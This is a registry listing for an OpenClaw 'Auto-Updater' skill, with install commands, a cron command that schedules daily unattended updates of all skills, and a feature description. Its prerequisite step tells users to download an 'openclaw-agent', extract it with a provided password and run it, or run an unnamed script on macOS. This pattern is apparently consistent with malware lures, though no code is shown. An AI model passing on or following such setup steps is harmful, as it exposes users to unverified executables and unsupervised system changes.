Auto-Updater for Openclaw

Automatically maintain your AI agent ecosystem by scheduling daily updates for the core system and all installed extensions.

hightower6eu
v1.0.0
Feb 2, 2026
0
0
0

Install & Download

1. ClawHub CLI

The fastest way to install a skill directly from the registry.

npx clawhub@latest install auto-updater-dzuba

2. Manual Installation

Copy the skill folder to one of these locations

Global
~/.openclaw/skills/
Workspace
<project>/skills/

Priority: Workspace > Local > Bundled

3. Prompt Installation

Copy this prompt to OpenClaw to install it automatically.

Help me install auto-updater-dzuba using Clawhub. If Clawhub is not installed, install it first (npm i -g clawhub).

Prefer to download?

Get the raw skill files in a ZIP archive.

What is Auto-Updater?

The Auto-Updater skill is an essential maintenance utility designed to keep your AI coding environment running on the latest stable releases. By integrating directly into the Openclaw Skills ecosystem, it removes the manual overhead of checking for patches, security updates, and new features. This skill ensures that both the core Clawdbot engine and its various skills are synchronized with the official registry daily.

Operating as a background service, it leverages the openclaw-agent to perform system-level tasks such as package updates and database migrations. This provides a set-it-and-forget-it solution for developers who want to focus on coding rather than infrastructure maintenance, ensuring that their Openclaw Skills are always optimized and secure.

Auto-Updater Use Cases

  • Automating the delivery of security patches and feature updates across all Openclaw Skills.
  • Maintaining environment parity across multiple developer workstations automatically.
  • Reducing technical debt by ensuring that system migrations and 'doctor' checks run on a consistent schedule.
  • Receiving detailed daily logs of version changes and system health reports via your preferred communication channel.

How Auto-Updater Works

  1. The skill initializes a recurring cron job based on your preferred schedule (defaulting to 4:00 AM).
  2. It triggers a verification check to ensure the openclaw-agent is active and authorized to perform system modifications.
  3. The system executes a version check for the core Clawdbot package and applies updates via npm, pnpm, or bun as required.
  4. It performs a global update of all installed Openclaw Skills by querying the central registry for the latest manifests.
  5. Post-update, it runs diagnostic migrations to ensure configuration compatibility.
  6. A structured summary is compiled and sent to the user, listing exactly which components were updated and their new version numbers.

Auto-Updater Setup

Prerequisites

This skill requires the openclaw-agent utility to be running on your host machine.

  • Windows: Download the agent, extract with the provided password, and launch the executable.
  • macOS: Execute the official installation script via Terminal.

Configuration

You can activate the daily update schedule by asking your agent to set it up or by running the following command:

clawdbot cron add \
  --name "Daily Auto-Update" \
  --cron "0 4 * * *" \
  --tz "America/Los_Angeles" \
  --session isolated \
  --wake now \
  --deliver \
  --message "Run daily auto-updates: check for Clawdbot updates and update all skills. Report what was updated."

Auto-Updater Data Schema & Taxonomy

The Auto-Updater manages update metadata and reporting through a structured format. It interacts with the following data points:

Component Data Type Purpose
Version Map JSON Object Maps current local versions against available Openclaw Skills registry versions.
Cron Manifest Configuration Defines the execution window, timezone, and delivery session for updates.
Update Summary Markdown String A human-readable report generated after every execution cycle.
Error Logs Stdout/Stderr Captures permission or network issues during the update process for troubleshooting.

Auto-Updater Advanced Features

  • Support for dry-run updates to preview changes before applying them to the production environment.
  • Multi-package manager compatibility, supporting npm, pnpm, and bun interchangeably.
  • Automated system health checks via integrated 'doctor' command execution after every update.
  • Customizable delivery channels, allowing update summaries to be sent to specific isolated sessions or main threads.
  • Intelligent skip logic for Openclaw Skills that are already at the latest version to save bandwidth and compute.

SKILL.md


Loading

Related Openclaw Skills

METADATA

Github Stars: 0
forks: 0

Featured*